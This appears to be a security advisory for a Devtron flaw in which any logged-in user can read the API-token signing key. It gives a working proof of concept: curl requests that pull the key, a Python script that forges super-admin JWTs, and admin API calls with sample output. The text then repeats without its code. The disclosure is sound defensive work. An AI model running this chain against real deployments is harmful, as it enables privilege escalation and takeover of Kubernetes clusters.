Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage
Summary
This vulnerability exists in Devtron's Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global API Token signing key by accessing the /orchestrator/attributes?key=apiTokenSecret endpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster.
CWE Classification: CWE-862 (Missing Authorization)
Details
Vulnerability Mechanism
Devtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the apiTokenSecret stored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it.
Source Code Analysis
Vulnerability Location: api/restHandler/AttributesRestHandlder.go:173-195
func (handler AttributesRestHandlerImpl) GetAttributesByKey(w http.ResponseWriter, r *http.Request) {
// Only checks if user is logged in
userId, err := handler.userService.GetLoggedInUser(r)
if userId == 0 || err != nil {
common.HandleUnauthorized(w, r)
return
}
// CRITICAL: RBAC check is commented out
/*token := r.Header.Get("token")
if ok := handler.enforcer.Enforce(token, rbac.ResourceGlobal, rbac.ActionGet, "*"); !ok {
WriteJsonResp(w, errors.New("unauthorized"), nil, http.StatusForbidden)
return
}*/
// Directly retrieves any attribute without authorization
vars := mux.Vars(r)
key := vars["key"]
res, err := handler.attributesService.GetByKey(key)
if err != nil {
handler.logger.Errorw("service err, GetAttributesById", "err", err)
common.WriteJsonResp(w, err, nil, http.StatusInternalServerError)
return
}
common.WriteJsonResp(w, nil, res, http.StatusOK)
}
Key Usage: pkg/apiToken/ApiTokenSecretService.go:54-88
func (impl ApiTokenSecretServiceImpl) GetApiTokenSecretByteArr() ([]byte, error) {
if len(impl.apiTokenSecretStore.Secret) == 0 {
return nil, errors.New("secret found empty")
}
return []byte(impl.apiTokenSecretStore.Secret), nil
}
func (impl ApiTokenSecretServiceImpl) getApiSecretFromDb() (string, error) {
apiTokenSecret, err := impl.attributesService.GetByKey(bean.API_SECRET_KEY)
if err != nil {
return "", err
}
if apiTokenSecret == nil || len(apiTokenSecret.Value) == 0 {
return "", errors.New("api token secret from DB found nil/empty")
}
return apiTokenSecret.Value, nil
}
This key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane.
PoC (Proof of Concept)
Environment Setup
Prerequisites
- Kubernetes cluster (v1.22+)
- kubectl configured
- Helm 3.x
- Python 3.x with PyJWT library
Step 1: Install Devtron
# Add Devtron Helm repository
helm repo add devtron https://helm.devtron.ai
helm repo update devtron
# Install Devtron with CI/CD module
helm install devtron devtron/devtron-operator \
--create-namespace --namespace devtroncd \
--set components.devtron.service.type=NodePort \
--set installer.modules={cicd} \
--set installer.arch=multi-arch
# Wait for installation to complete (15-20 minutes)
kubectl -n devtroncd get installers installer-devtron -o jsonpath='{.status.sync.status}'
# Expected output: Applied
Step 2: Access Devtron Dashboard
# Set up port forwarding
kubectl -n devtroncd port-forward service/devtron-service 8000:80 &
# Get admin password
ADMIN_PASSWORD=$(kubectl -n devtroncd get secret devtron-secret \
-o jsonpath='{.data.ADMIN_PASSWORD}' | base64 -d)
echo "Admin password: ${ADMIN_PASSWORD}"
Access http://127.0.0.1:8000 and login with admin account.
Exploitation Steps
Step 1: Obtain User Token
Login as a regular user and obtain token:
# Login as regular user
curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq .
# Extract token
USER_TOKEN=$(curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq -r '.result.token')
echo "User token: ${USER_TOKEN:0:50}..."
Actual Output Example:
{
"code": 200,
"status": "OK",
"result": {
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"userId": 1,
"userEmail": "admin"
}
}
Step 2: Exploit Vulnerability to Retrieve apiTokenSecret
Use the obtained token to access the unauthorized Attributes API:
# Request apiTokenSecret
curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
-H "token: ${USER_TOKEN}" | jq .
# Extract secret
API_SECRET=$(curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
-H "token: ${USER_TOKEN}" | jq -r '.result.value')
echo "Leaked API Token Secret: ${API_SECRET:0:20}..."
echo "Secret length: ${#API_SECRET} characters"
Actual Output Example:
{
"code": 200,
"status": "OK",
"result": {
"id": 1,
"key": "apiTokenSecret",
"value": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"active": true,
"createdOn": "2024-01-15T10:30:00Z",
"createdBy": 1
}
}
Step 3: Forge Admin JWT Token
Forge admin token using the leaked key:
# Install PyJWT if not already installed
pip3 install PyJWT
# Create token forging script
cat > forge_token.py << 'EOF'
#!/usr/bin/env python3
import jwt
import time
import sys
import json
def forge_admin_token(secret, user_id=1, email="admin"):
exp_time = int(time.time()) + 365 * 24 * 60 * 60
payload = {
"sub": str(user_id),
"email": email,
"iat": int(time.time()),
"exp": exp_time,
"iss": "devtron",
"roles": ["role:super-admin___"]
}
token = jwt.encode(payload, secret, algorithm="HS256")
return token
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python forge_token.py <apiTokenSecret>")
sys.exit(1)
secret = sys.argv[1]
admin_token = forge_admin_token(secret, user_id=1, email="admin")
print(f"[+] Forged Admin Token:")
print(admin_token)
print()
decoded = jwt.decode(admin_token, secret, algorithms=["HS256"])
print(f"[+] Token Payload:")
print(json.dumps(decoded, indent=2))
EOF
chmod +x forge_token.py
# Forge admin token
python3 forge_token.py "${API_SECRET}"
Actual Output Example:
[+] Forged Admin Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbiIsImlhdCI6MTcwNTMxNDAwMCwiZXhwIjoxNzM2ODUwMDAwLCJpc3MiOiJkZXZ0cm9uIiwicm9sZXMiOlsicm9sZTpzdXBlci1hZG1pbl9fXyJdfQ.xYz123AbC456DeF789GhI012JkL345MnO678PqR901StU
[+] Token Payload:
{
"sub": "1",
"email": "admin",
"iat": 1705314000,
"exp": 1736850000,
"iss": "devtron",
"roles": [
"role:super-admin___"
]
}
Step 4: Test Forged Token with Admin APIs
Use the forged token to access admin APIs:
# Extract forged token
FORGED_TOKEN=$(python3 forge_token.py "${API_SECRET}" | grep -A 1 "Forged Admin Token:" | tail -1)
# Test 1: Get all users (requires admin permission)
echo "[*] Test 1: Getting user list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/user/all" \
-H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, email_id, roles}'
# Test 2: Get cluster list (requires admin permission)
echo "[*] Test 2: Getting cluster list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/cluster" \
-H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, cluster_name, server_url}'
# Test 3: Get all applications
echo "[*] Test 3: Getting application list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/app/list" \
-H "token: ${FORGED_TOKEN}" | jq '.result'
Actual Output Example:
[*] Test 1: Getting user list...
{
"id": 1,
"email_id": "admin",
"roles": ["role:super-admin___"]
}
{
"id": 2,
"email_id": "[email protected]",
"roles": ["role:developer"]
}
[*] Test 2: Getting cluster list...
{
"id": 1,
"cluster_name": "default_cluster",
"server_url": "https://kubernetes.default.svc"
}
[*] Test 3: Getting application list...
{
"appContainers": [
{
"appId": 1,
"appName": "sample-app",
"projectId": 1
}
]
}
Expected Result
If the vulnerability exists, it should be able to:
- Successfully obtain
apiTokenSecret using any authenticated user's token
- Successfully forge JWT tokens using the leaked key
- Successfully access admin-only APIs using the forged token
- Retrieve sensitive information such as user lists, cluster configurations, etc.
Impact
Security Impact
Confidentiality: Severe impact. Attackers can:
- Obtain the global API Token signing key
- Read all user information and permission configurations
- Access Kubernetes cluster configurations and credentials
- Read sensitive application configurations and Secrets
Integrity: Severe impact. Attackers can:
- Forge API Tokens for arbitrary user identities
- Modify application configurations and deployments
- Create or delete CI/CD pipelines
- Modify user permissions and roles
Availability: High impact. Attackers can:
- Delete critical applications and configurations
- Disrupt CI/CD processes
- Modify cluster configurations causing service interruptions
Business Impact
- Complete Control of Devtron Platform: Attackers gain privileges equivalent to super administrators
- Lateral Movement to Kubernetes Cluster: Cluster credentials obtained through Devtron can directly control the underlying Kubernetes
- Supply Chain Attacks: Can modify CI/CD pipelines to inject malicious code
- Data Breach: Can access all application configurations and Secrets
- Cloud Environment Penetration: In cloud environments, can further obtain IAM credentials
Attack Scenarios
Scenario 1: Insider Threat
- Low-privileged developer exploits this vulnerability to escalate privileges
- Gains full access to production environment
- Steals sensitive data or plants backdoors
Scenario 2: Supply Chain Attack
- Attacker obtains low-privileged account through social engineering
- Exploits vulnerability to gain admin privileges
- Modifies CI/CD pipelines to inject malicious code
- Affects all applications using the pipeline
Scenario 3: Lateral Movement
- Attacker has already compromised a low-privileged account
- Exploits this vulnerability to gain Kubernetes cluster access
- Deploys cryptocurrency miners or other malicious payloads in the cluster
Severity
CVSS v3.1 Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Score Breakdown:
- Attack Vector (AV:N): Network accessible, exploited via HTTP API
- Attack Complexity (AC:L): Low complexity, requires only one HTTP request
- Privileges Required (PR:L): Requires low privileges (any authenticated user)
- User Interaction (UI:N): No user interaction required
- Scope (S:C): Scope changed, can affect resources beyond Devtron (Kubernetes cluster)
- Confidentiality (C:H): High impact, can read all sensitive information
- Integrity (I:H): High impact, can modify all configurations and data
- Availability (A:H): High impact, can delete resources and disrupt services
Severity Level: Critical
Affected Versions
- Devtron: All versions (as of 2026-01-26 verification)
- Specifically affected code files:
api/restHandler/AttributesRestHandlder.go
pkg/apiToken/ApiTokenSecretService.go
Workarounds
Before an official patch is released, the following temporary measures can be taken:
Option 1: Network-Level Restrictions
# Use NetworkPolicy to restrict access to Devtron API
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: devtron-api-restriction
namespace: devtroncd
spec:
podSelector:
matchLabels:
app: devtron
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
role: admin
ports:
- protocol: TCP
port: 8080
EOF
Option 2: Rotate API Token Secret
# Generate new secret
NEW_SECRET=$(openssl rand -hex 32)
# Update in database
kubectl exec -n devtroncd postgresql-postgresql-0 -- \
psql -U postgres -d orchestrator -c \
"UPDATE attributes SET value='${NEW_SECRET}' WHERE key='apiTokenSecret';"
# Restart Devtron service
kubectl rollout restart deployment/devtron -n devtroncd
Option 3: Add API Gateway Filtering
Deploy an API Gateway in front of Devtron to filter sensitive requests to /orchestrator/attributes.
Credits
@b0b0haha ([email protected])
@lixingquzhi([email protected])
References
Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage
Summary
This vulnerability exists in Devtron's Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global API Token signing key by accessing the
/orchestrator/attributes?key=apiTokenSecretendpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster.CWE Classification: CWE-862 (Missing Authorization)
Details
Vulnerability Mechanism
Devtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the
apiTokenSecretstored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it.Source Code Analysis
Vulnerability Location:
api/restHandler/AttributesRestHandlder.go:173-195Key Usage:
pkg/apiToken/ApiTokenSecretService.go:54-88This key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane.
PoC (Proof of Concept)
Environment Setup
Prerequisites
Step 1: Install Devtron
Step 2: Access Devtron Dashboard
Access http://127.0.0.1:8000 and login with admin account.
Exploitation Steps
Step 1: Obtain User Token
Login as a regular user and obtain token:
Actual Output Example:
{ "code": 200, "status": "OK", "result": { "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", "userId": 1, "userEmail": "admin" } }Step 2: Exploit Vulnerability to Retrieve apiTokenSecret
Use the obtained token to access the unauthorized Attributes API:
Actual Output Example:
{ "code": 200, "status": "OK", "result": { "id": 1, "key": "apiTokenSecret", "value": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", "active": true, "createdOn": "2024-01-15T10:30:00Z", "createdBy": 1 } }Step 3: Forge Admin JWT Token
Forge admin token using the leaked key:
Actual Output Example:
Step 4: Test Forged Token with Admin APIs
Use the forged token to access admin APIs:
Actual Output Example:
Expected Result
If the vulnerability exists, it should be able to:
apiTokenSecretusing any authenticated user's tokenImpact
Security Impact
Confidentiality: Severe impact. Attackers can:
Integrity: Severe impact. Attackers can:
Availability: High impact. Attackers can:
Business Impact
Attack Scenarios
Scenario 1: Insider Threat
Scenario 2: Supply Chain Attack
Scenario 3: Lateral Movement
Severity
CVSS v3.1 Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Score Breakdown:
Severity Level: Critical
Affected Versions
api/restHandler/AttributesRestHandlder.gopkg/apiToken/ApiTokenSecretService.goWorkarounds
Before an official patch is released, the following temporary measures can be taken:
Option 1: Network-Level Restrictions
Option 2: Rotate API Token Secret
Option 3: Add API Gateway Filtering
Deploy an API Gateway in front of Devtron to filter sensitive requests to
/orchestrator/attributes.Credits
@b0b0haha ([email protected])
@lixingquzhi([email protected])
References